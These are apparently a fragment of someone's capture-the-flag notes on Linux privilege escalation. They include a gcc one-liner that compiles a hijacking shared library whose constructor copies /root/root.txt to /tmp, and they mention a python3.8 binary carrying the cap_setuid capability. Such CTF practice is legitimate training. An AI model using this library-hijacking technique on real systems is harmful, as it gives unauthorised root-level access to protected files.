CTF Exploits

Unquoted Path // Magik

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

 

__attribute__((constructor)) void init(){

    system("cat /root/root.txt > /tmp/rootflag");

    exit(0);

}

EOF

pbkdf2_hash

CAPS

/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

Last updated